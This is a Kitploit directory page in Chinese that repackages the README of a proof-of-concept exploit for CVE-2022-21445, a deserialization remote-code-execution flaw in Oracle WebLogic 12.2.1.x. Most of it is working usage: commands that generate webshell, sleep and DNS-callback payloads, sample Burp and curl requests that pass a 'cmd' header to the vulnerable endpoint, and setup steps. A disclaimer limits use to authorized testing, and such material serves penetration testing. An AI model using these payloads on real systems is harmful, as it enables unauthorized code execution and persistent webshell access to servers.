Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-21445 — 针对 Oracle Weblogic 12.2.1.X 的 CVE-2022-21445 漏洞利用程序 | Kitploit
工具/GitHubGitHub/necr00/cve-2022-21445
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubnecr00/cve-2022-21445

CVE-2022-21445

针对 Oracle Weblogic 12.2.1.X 的 CVE-2022-21445 漏洞利用程序

查看仓库
516个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-21445 漏洞利用 - PoC

本工具包用于生成 CVE-2022-21445 的漏洞利用载荷。CVE-2022-21445 是一个影响 Oracle WebLogic Server 12.2.1.x(运行 Oracle ADF Faces)的严重 Java 反序列化漏洞。

该漏洞存在于 RemoteApplicationResourceLoader 组件中,攻击者可发送特制的 HTTP GET 请求触发不安全反序列化。若利用成功,可在目标服务器上实现未授权远程代码执行(RCE)。

前提条件

要求版本用途
Python3.6+运行漏洞利用脚本
JDK1.8(推荐 8u202)编译并运行 Java 载荷生成器
Weblogic12.2.1.X受影响版本

设置指南

安装 JDK 1.8

载荷必须使用 JDK 1.8 编译,以匹配目标的 Java 运行时环境。

root@kitploit:~
# Use SDKMAN:
sdk install java 8.0.402-tem

# Select the java 8
sudo update-alternatives --config java
root@kitploit:~
java -version    # Should show 1.8.x
javac -version   # Should show 1.8.x

使用方法

生成 Webshell 载荷

生成一种从 cmd HTTP 头读取命令并在响应体中返回输出的载荷。

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell

输出:

root@kitploit:~
[*] Target WebLogic version: 12.2.1.4
[*] Payload type: webshell
[*] Using JARs from: libs/12.2.1.4
[+] Step 1/4: Detecting ClassIdentity hash for 12.2.1.4...
[*] Detected ClassIdentity hash: 423B02C050017B24DB10DFF759AA56BF
[+] Step 2/4: Generating webshell payload class...
[+] Step 3/4: Compiling payload classes...
[+] Step 4/4: Generating serialized payload...

======================================================================
  PAYLOAD GENERATED SUCCESSFULLY
======================================================================

[*] Payload type: webshell
[*] Payload length: 2156 characters

──────────────────────────────────────────────────────────────────────
RAW PAYLOAD:
──────────────────────────────────────────────────────────────────────
H4sIAAAAAAAAAA%3D%3DlVZb...

──────────────────────────────────────────────────────────────────────
BURP REPEATER REQUEST:
──────────────────────────────────────────────────────────────────────
GET /app/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DlVZb.../ HTTP/1.1
Host: target:port
cmd: whoami
Connection: close

──────────────────────────────────────────────────────────────────────
CURL COMMAND:
──────────────────────────────────────────────────────────────────────
curl -k -H "cmd: id" "https://target:port/app/afr/foo/remote/H4sI.../"

生成 Sleep(盲测)载荷

用于盲测——若响应出现延迟,即可确认代码执行。

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type sleep --sleep-time 10

发送载荷并测量响应时间:

  • 约 10 秒: 确认代码执行
  • 立即(< 1 秒): 载荷未执行(版本不匹配、已修补或编码问题)

生成 DNS 回调载荷

使用 Burp Collaborator 或类似工具进行带外确认。

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type dns \
    --dns-host cve-21445.abc123.oastify.com

指定目标

使用 --target 获取带有正确主机和上下文路径的格式化输出:

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell \
    --target http://10.0.0.50:8002/test

这将以正确的主机和路径格式化 Burp 请求与 curl 命令:

root@kitploit:~
GET /test/afr/foo/remote/PAYLOAD/ HTTP/1.1
Host: 10.0.0.50:8002
cmd: whoami

将载荷保存到文件

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell \
    --output payload.txt

发送漏洞利用

使用 Burp Suite

  1. 运行脚本生成载荷
  2. 从输出中复制 BURP REPEATER REQUEST 部分
  3. 打开 Burp Suite → Repeater → 粘贴请求
  4. 设置目标主机和端口
  5. 点击 Send
  6. 对于 webshell:更改 cmd 头的值以运行不同命令 图片

故障排除

如果 Jar 文件损坏,请按照说明安装所需的 WebLogic 版本并提取相关 Jar 文件。

这将从官方 FMW Infrastructure Docker 镜像中提取所需的 Oracle JAR 文件。

root@kitploit:~
# Create the libs directory
mkdir -p libs/12.2.1.3
#or
mkdir -p libs/12.2.1.3

# Pull the Oracle FMW Infrastructure 12.2.1.3 or 12.2.1.4 image
# Note: You may need to accept the license at container-registry.oracle.com
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.3.0
#OR
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0

#Let's say we need the JARs of 12.2.1.4 version (in case of 12.2.1.3 just replace .4 with .3 in the commands)

# Create a temporary container (don't need to start it)
docker create --name fmw1214_temp container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0

# Extract the required JARs
docker cp fmw1214_temp:/u01/oracle/coherence/lib/coherence.jar ./libs/12.2.1.4/coherence.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-api-11.jar ./libs/12.2.1.4/adf-richclient-api-11.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-impl-11.jar ./libs/12.2.1.4/adf-richclient-impl-11.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-api.jar ./libs/12.2.1.4/trinidad-api.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-impl.jar ./libs/12.2.1.4/trinidad-impl.jar

注意: javax.mail JAR(用于 MIME base64 编码)会在首次运行时自动从 Maven Central 下载,无需手动配置。webshell 载荷使用纯反射,编译时不需要 weblogic.jar。


免责声明

本工具仅供授权安全测试使用。在测试非您拥有的系统前,请务必获得书面许可。作者不对任何滥用行为负责。未经授权访问计算机系统属于违法行为。


参考

  • Oracle 关键补丁更新公告 - 2022 年 4 月
  • CVE-2022-21445 - NVD
  • hienkiet/CVE-2022-21445-for-12.2.1.3.0-Weblogic
下载工具